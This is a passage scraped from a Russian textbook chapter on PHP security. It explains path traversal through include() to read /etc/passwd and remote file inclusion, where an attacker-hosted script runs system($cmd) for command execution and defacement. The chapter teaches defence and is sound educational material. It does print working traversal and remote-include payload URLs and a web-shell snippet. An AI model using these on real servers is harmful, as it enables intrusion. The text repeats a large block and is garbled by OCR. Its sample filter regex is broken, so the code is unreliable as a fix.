ВУЗ: Не указан
Категория: Не указан
Дисциплина: Не указана
Добавлен: 28.04.2024
Просмотров: 104
Скачиваний: 0
ВНИМАНИЕ! Если данный файл нарушает Ваши авторские права, то обязательно сообщите нам.
СОДЕРЖАНИЕ
и file. Через параметр dir передается имя каталога news, из которого нужно подключить файл, а в параметре file указывается имя файла.
Теперь попробуем просмотреть файл пользователей. Для этого в параметре dir нужно указать /etc, а в качестве имени файла указываем passwd. Так как сценарий не проверяет параметры, то он позволит нам увидеть заветный файл (рис. 3.2).
Как я уже говорил, сама идея передачи параметров, которые используются в функции include, достаточно примитивна. Старайтесь избегать ее применения, потому что оно не сулит ничего хорошего. Но даже если решились, сделайте все необходимое для предотвращения загрузки пользователем подключаемых файлов. В данном случае из обоих параметров можно смело удалять любые символы, кроме букв, чтобы не было возможности передать точки или слеши.
Некоторые считают, что если программно добавлять расширение, то это решит все проблемы. Это ошибка. Допустим, что вы подключаете файл следующим образом:
include($_GET['dir']."/".$_GET['file'].".html");
К имени файла программно добавляется расширение html. Теперь, если хакер запросит файл /etc/passwd, то сценарий программно добавит еще и расширение и получится /etc/passwd.html. Такого файла не существует, и сценарий вернет ошибку.
Как узнать, где корень диска и сколько раз повторять последовательность ../? В большинстве случаев хакеры не утруждают себя подборами и поисками корня. Дело в том, что выше него все равно не поднимешься, поэтому можно смело повторять эту последовательность раз десять. Я повторил пять раз, и этого было достаточно. Следующий URL показал мне заветный файл пользователей: http://phpbook/
param.php?file=../../../../../etc/passwd. Выполняя этот URL, сценарию необходимо подключить файл /var/www/html/news/../../../../../etc/passwd.
I # * г'ц :
В Other Bookmarks
С A Not Secure phpbook/inc.php?dir=/etc&file=passwd
•■I Apps В Work Q Dev
##
#
#
##
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false root:*:0:0:System Administrator:/var/root:/bin/sh daemon: •: 1:1:System Services:/var/root:/usr/bin/false uucp:•:4:4:Unix to Unix Copy Protocol:/var/spool/uucp:/usr/sbin/uucico taskgated:*:13:13:Task Gate Daemon:/var/empty:/usr/Ып/false _networkd:*:24:24:Network Services:/var/networkd:/usr/bin/false installassistant: 25:25:Install Assistant:/var/empty:/usr/bin/false
_lp:*:26:26:Printing Services:/var/spool/cups:/usr/bin/falee _postfix;*i27:27:Postfix Mail Server;/var/spool/postfix:/ивг/bin/falsi seed:•:31:31:Serviee Configuration Service:/var/empty:/usr/bin/false _ces:*:32:32:Certificate Enrollment Service:/var/empty:/usr/bin/false _appstore:*:33;33:Hac App Store Service:/var/db/appstore:/usr/bin/false _mcxalr:*:54:54:MCX AppLaunch:/var/empty:/usr/bin/false _appleevents:•:55:55:AppleEvents Daemon:/var/empty:/uer/bin/false geod:•:56:56:Geo Services Daemon:/var/db/geod:/usr/bin/false _devdocs:#:59:59:Developer Documentation:/var/empty:/usr/bin/false _sandbox:*:60:60:Seatbelt;/var/empty:/usr/bin/false mdnsresponder:*:65:65:mDNSResponder:/var/empty:/usr/Ып/false _ard:*:67:67:Apple Remote Desktop:/var/empty:/usr/bin/falee _www:*:70:70:World Wide Web Server:/Library/Webserver:/usr/bir
Рис. 3.2.
Список пользователей
С точки зрения ОС этот путь вполне корректен. Сначала необходимо спуститься по файловой системе в каталог /var/www/html/news, потом подняться на пять уровней выше (этим мы возвращаемся в корень диска) и после этого открыть файл passwd из /etc.
Для защиты в данном случае не обойтись без фильтрации, а все попытки пользоваться программным добавлением каких-то частей файла — бессмысленны. Для проверки можно написать функцию checkparam, которая с помощью регулярных выражений удалит все, кроме букв. Полный код более защищенного сценария можно увидеть в листинге 3.2. Код в листинге не отличается красотой, с точки зрения программирования, но его цель — показать уязвимость.
Листинг 3.2. Сценарий, в котором параметры проверяются
Read news
// Это функция проверки параметров function checkparam($var)
{
$var=preg_replace("/^a-z]/i", "", $var); return $var;
}
if (isset($_GET['file' ]))
{
// Используем функцию для проверки параметров на запрещенные символы $_GET['file'] = checkparam($_GET['file']);
$_GET['dir'] = checkparam($_GET['dir']);
include($_GET['dir']."/".$_GET['file']);
}
?>
Почему этот сценарий всего лишь более защищенный, но не предоставляет абсолютной защиты? Дело в том, что у хакера еще остается одна лазейка: просмотреть произвольный файл в корне диска. Если параметр dir оставить пустым, а в параметре file передать имя файла, то получим путь /filename, где filename — это имя файла. В корне диска Linux нет ничего полезного и не должно быть, поэтому эта лазейка ничего хорошего не даст.
Итак, фильтроваться обязательно должны:
Будет лучше, если через параметры не будут передаваться расширения, тогда вы можете фильтровать и точки. Это будет только дополнительным плюсом к безопасности. Чем меньше символов доступно хакеру, тем лучше, именно поэтому в функции фильтрации, приведенной в листинге 3.2, из параметра вырезаются все символы, кроме латинских букв.
Подобные ошибки можно встретить и в сценариях, написанных на других языках программирования, это связано с тем, что функции подключения файлов есть не только в PHP.
Чтобы хакер не имел доступа к важной информации, вы должны максимально эффективно настроить права доступа. Для ОС Linux идеальным вариантом будет работа в среде chroot, чтобы хакер не смог получить доступ к реальной файловой системе и увидеть конфигурационные файлы.
Использование файлов на web-сайте и передавать имена файлов через строку URL или другие параметры небезопасно, да и неэффективно с точки зрения поддержки сайта. Если вы программист, то подумайте о другом решении, например о базах данных. Работать с базами тоже нужно внимательно, но они, по крайней мере, намного удобнее.
Функции include и require не ограничиваются банальным просмотром файлов на web-сервере. Если бы проблема была только в этом, то ее можно было бы избежать правильным конфигурированием, чтобы хакеру были не доступны критичные с точки зрения безопасности файлы. Проблема в том, что если позволяет конфигурация, то можно указать удаленный файл, расположенный совершенно на другом web-сервере, и сценарий может загрузить его и выполнить точно так же, как и локальный.
Если в коде есть уязвимость, которая позволит каким-то образом создать или загрузить на сервер файл с кодом, то можно выполнить его, и это уже будет локальный файл для данного web-сервера.
Давайте подробно рассмотрим эту проблему.
Для иллюстрации примеров напишем следующий уязвимый сценарий, который не станет проверять получаемый параметр file, напрямую передаваемый функции
include:
if (isset($file))
{
print($file."
") ; include($file) ;
}
?>
Данный сценарий упрощен, дабы не забивать вам голову обходами примитивных защит. Чтобы загрузить корректный файл, необходимо загружать следующий URL: http://phpbook/param.php?file=news/hetutils.html. В данном случае phpbook — это IP-адрес сервера в моей сети, на котором я установил web-сервер и тестировал все примеры.
В качестве параметра передается путь news/hetutils.html. Допустим, что хакер хочет просмотреть содержимое каталога. Для этого на своем web-сайте он создает файл, назовем его ls.php, со следующим содержимым:
print(system("ls -al"));
?>
Здесь мы с помощью функции print отображаем результат выполнения системной команды ls -
al. Теперь хакер в качестве параметра может указать полный URL к своему файлу, и его результат будет включен в формируемую web-страницу:
http://phpbook/param.php?file=http://www.hacker_website.com/ls.php
В результате этого мы увидим содержимое каталога на атакуемом web-сервере phpbook, потому что именно на нем будет выполнен сценарий ls.php.
Получается, что хакер без проблем сможет выполнять произвольные команды на web-сервере, содержащем такую банальную ошибку. Но ради каждой команды создавать отдельный сценарий бессмысленно, вместо этого можно использовать следующий:
print(system($cmd));
?>
Команда, которая должна выполняться инжектируемым кодом, должна передаваться через параметр cmd. Если вы хотите выполнить команду ls —al, то напрямую вызов этого сценария выглядел бы следующим образом:
http://www.hacker_website.com/ls.php?cmd=ls%20-al. Теперь просто вставляем этот URL на web-сайт с уязвимостью и получаем: http://phpbook/ param.php?file=http://www.hacker_website.com/ls.php?cmd=ls%20-al.
Что еще опасного может сделать хакер? С помощью следующего кода хакер может произвести дефейс (подмену содержимого web-страницы):
print(system("echo '
Теперь попробуем просмотреть файл пользователей. Для этого в параметре dir нужно указать /etc, а в качестве имени файла указываем passwd. Так как сценарий не проверяет параметры, то он позволит нам увидеть заветный файл (рис. 3.2).
Как я уже говорил, сама идея передачи параметров, которые используются в функции include, достаточно примитивна. Старайтесь избегать ее применения, потому что оно не сулит ничего хорошего. Но даже если решились, сделайте все необходимое для предотвращения загрузки пользователем подключаемых файлов. В данном случае из обоих параметров можно смело удалять любые символы, кроме букв, чтобы не было возможности передать точки или слеши.
Некоторые считают, что если программно добавлять расширение, то это решит все проблемы. Это ошибка. Допустим, что вы подключаете файл следующим образом:
include($_GET['dir']."/".$_GET['file'].".html");
К имени файла программно добавляется расширение html. Теперь, если хакер запросит файл /etc/passwd, то сценарий программно добавит еще и расширение и получится /etc/passwd.html. Такого файла не существует, и сценарий вернет ошибку.
Как узнать, где корень диска и сколько раз повторять последовательность ../? В большинстве случаев хакеры не утруждают себя подборами и поисками корня. Дело в том, что выше него все равно не поднимешься, поэтому можно смело повторять эту последовательность раз десять. Я повторил пять раз, и этого было достаточно. Следующий URL показал мне заветный файл пользователей: http://phpbook/
param.php?file=../../../../../etc/passwd. Выполняя этот URL, сценарию необходимо подключить файл /var/www/html/news/../../../../../etc/passwd.
I # * г'ц :
В Other Bookmarks
С A Not Secure phpbook/inc.php?dir=/etc&file=passwd
•■I Apps В Work Q Dev
##
-
User Database
#
-
Note that this file is consulted directly only when the system is running -
in single-user mode. At other times this information is provided by -
Open Directory.
#
-
See the opendirectoryd(8) man page for additional information about -
Open Directory.
##
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false root:*:0:0:System Administrator:/var/root:/bin/sh daemon: •: 1:1:System Services:/var/root:/usr/bin/false uucp:•:4:4:Unix to Unix Copy Protocol:/var/spool/uucp:/usr/sbin/uucico taskgated:*:13:13:Task Gate Daemon:/var/empty:/usr/Ып/false _networkd:*:24:24:Network Services:/var/networkd:/usr/bin/false installassistant: 25:25:Install Assistant:/var/empty:/usr/bin/false
_lp:*:26:26:Printing Services:/var/spool/cups:/usr/bin/falee _postfix;*i27:27:Postfix Mail Server;/var/spool/postfix:/ивг/bin/falsi seed:•:31:31:Serviee Configuration Service:/var/empty:/usr/bin/false _ces:*:32:32:Certificate Enrollment Service:/var/empty:/usr/bin/false _appstore:*:33;33:Hac App Store Service:/var/db/appstore:/usr/bin/false _mcxalr:*:54:54:MCX AppLaunch:/var/empty:/usr/bin/false _appleevents:•:55:55:AppleEvents Daemon:/var/empty:/uer/bin/false geod:•:56:56:Geo Services Daemon:/var/db/geod:/usr/bin/false _devdocs:#:59:59:Developer Documentation:/var/empty:/usr/bin/false _sandbox:*:60:60:Seatbelt;/var/empty:/usr/bin/false mdnsresponder:*:65:65:mDNSResponder:/var/empty:/usr/Ып/false _ard:*:67:67:Apple Remote Desktop:/var/empty:/usr/bin/falee _www:*:70:70:World Wide Web Server:/Library/Webserver:/usr/bir
Рис. 3.2.
Список пользователей
С точки зрения ОС этот путь вполне корректен. Сначала необходимо спуститься по файловой системе в каталог /var/www/html/news, потом подняться на пять уровней выше (этим мы возвращаемся в корень диска) и после этого открыть файл passwd из /etc.
Для защиты в данном случае не обойтись без фильтрации, а все попытки пользоваться программным добавлением каких-то частей файла — бессмысленны. Для проверки можно написать функцию checkparam, которая с помощью регулярных выражений удалит все, кроме букв. Полный код более защищенного сценария можно увидеть в листинге 3.2. Код в листинге не отличается красотой, с точки зрения программирования, но его цель — показать уязвимость.
Листинг 3.2. Сценарий, в котором параметры проверяются
PHP test
Read news
// Это функция проверки параметров function checkparam($var)
{
$var=preg_replace("/^a-z]/i", "", $var); return $var;
}
if (isset($_GET['file' ]))
{
// Используем функцию для проверки параметров на запрещенные символы $_GET['file'] = checkparam($_GET['file']);
$_GET['dir'] = checkparam($_GET['dir']);
include($_GET['dir']."/".$_GET['file']);
}
?>
Почему этот сценарий всего лишь более защищенный, но не предоставляет абсолютной защиты? Дело в том, что у хакера еще остается одна лазейка: просмотреть произвольный файл в корне диска. Если параметр dir оставить пустым, а в параметре file передать имя файла, то получим путь /filename, где filename — это имя файла. В корне диска Linux нет ничего полезного и не должно быть, поэтому эта лазейка ничего хорошего не даст.
Итак, фильтроваться обязательно должны:
-
двойные точки, чтобы хакер не смог подняться на уровень выше в дереве каталогов ОС; -
слеши, чтобы хакер не смог опуститься на уровень ниже в дереве каталогов ОС.
Будет лучше, если через параметры не будут передаваться расширения, тогда вы можете фильтровать и точки. Это будет только дополнительным плюсом к безопасности. Чем меньше символов доступно хакеру, тем лучше, именно поэтому в функции фильтрации, приведенной в листинге 3.2, из параметра вырезаются все символы, кроме латинских букв.
Подобные ошибки можно встретить и в сценариях, написанных на других языках программирования, это связано с тем, что функции подключения файлов есть не только в PHP.
Чтобы хакер не имел доступа к важной информации, вы должны максимально эффективно настроить права доступа. Для ОС Linux идеальным вариантом будет работа в среде chroot, чтобы хакер не смог получить доступ к реальной файловой системе и увидеть конфигурационные файлы.
Использование файлов на web-сайте и передавать имена файлов через строку URL или другие параметры небезопасно, да и неэффективно с точки зрения поддержки сайта. Если вы программист, то подумайте о другом решении, например о базах данных. Работать с базами тоже нужно внимательно, но они, по крайней мере, намного удобнее.
-
Инъекция кода
Функции include и require не ограничиваются банальным просмотром файлов на web-сервере. Если бы проблема была только в этом, то ее можно было бы избежать правильным конфигурированием, чтобы хакеру были не доступны критичные с точки зрения безопасности файлы. Проблема в том, что если позволяет конфигурация, то можно указать удаленный файл, расположенный совершенно на другом web-сервере, и сценарий может загрузить его и выполнить точно так же, как и локальный.
Если в коде есть уязвимость, которая позволит каким-то образом создать или загрузить на сервер файл с кодом, то можно выполнить его, и это уже будет локальный файл для данного web-сервера.
Давайте подробно рассмотрим эту проблему.
Для иллюстрации примеров напишем следующий уязвимый сценарий, который не станет проверять получаемый параметр file, напрямую передаваемый функции
include:
if (isset($file))
{
print($file."
") ; include($file) ;
}
?>
Данный сценарий упрощен, дабы не забивать вам голову обходами примитивных защит. Чтобы загрузить корректный файл, необходимо загружать следующий URL: http://phpbook/param.php?file=news/hetutils.html. В данном случае phpbook — это IP-адрес сервера в моей сети, на котором я установил web-сервер и тестировал все примеры.
В качестве параметра передается путь news/hetutils.html. Допустим, что хакер хочет просмотреть содержимое каталога. Для этого на своем web-сайте он создает файл, назовем его ls.php, со следующим содержимым:
print(system("ls -al"));
?>
Здесь мы с помощью функции print отображаем результат выполнения системной команды ls -
al. Теперь хакер в качестве параметра может указать полный URL к своему файлу, и его результат будет включен в формируемую web-страницу:
http://phpbook/param.php?file=http://www.hacker_website.com/ls.php
В результате этого мы увидим содержимое каталога на атакуемом web-сервере phpbook, потому что именно на нем будет выполнен сценарий ls.php.
Получается, что хакер без проблем сможет выполнять произвольные команды на web-сервере, содержащем такую банальную ошибку. Но ради каждой команды создавать отдельный сценарий бессмысленно, вместо этого можно использовать следующий:
print(system($cmd));
?>
Команда, которая должна выполняться инжектируемым кодом, должна передаваться через параметр cmd. Если вы хотите выполнить команду ls —al, то напрямую вызов этого сценария выглядел бы следующим образом:
http://www.hacker_website.com/ls.php?cmd=ls%20-al. Теперь просто вставляем этот URL на web-сайт с уязвимостью и получаем: http://phpbook/ param.php?file=http://www.hacker_website.com/ls.php?cmd=ls%20-al.
Что еще опасного может сделать хакер? С помощью следующего кода хакер может произвести дефейс (подмену содержимого web-страницы):
print(system("echo '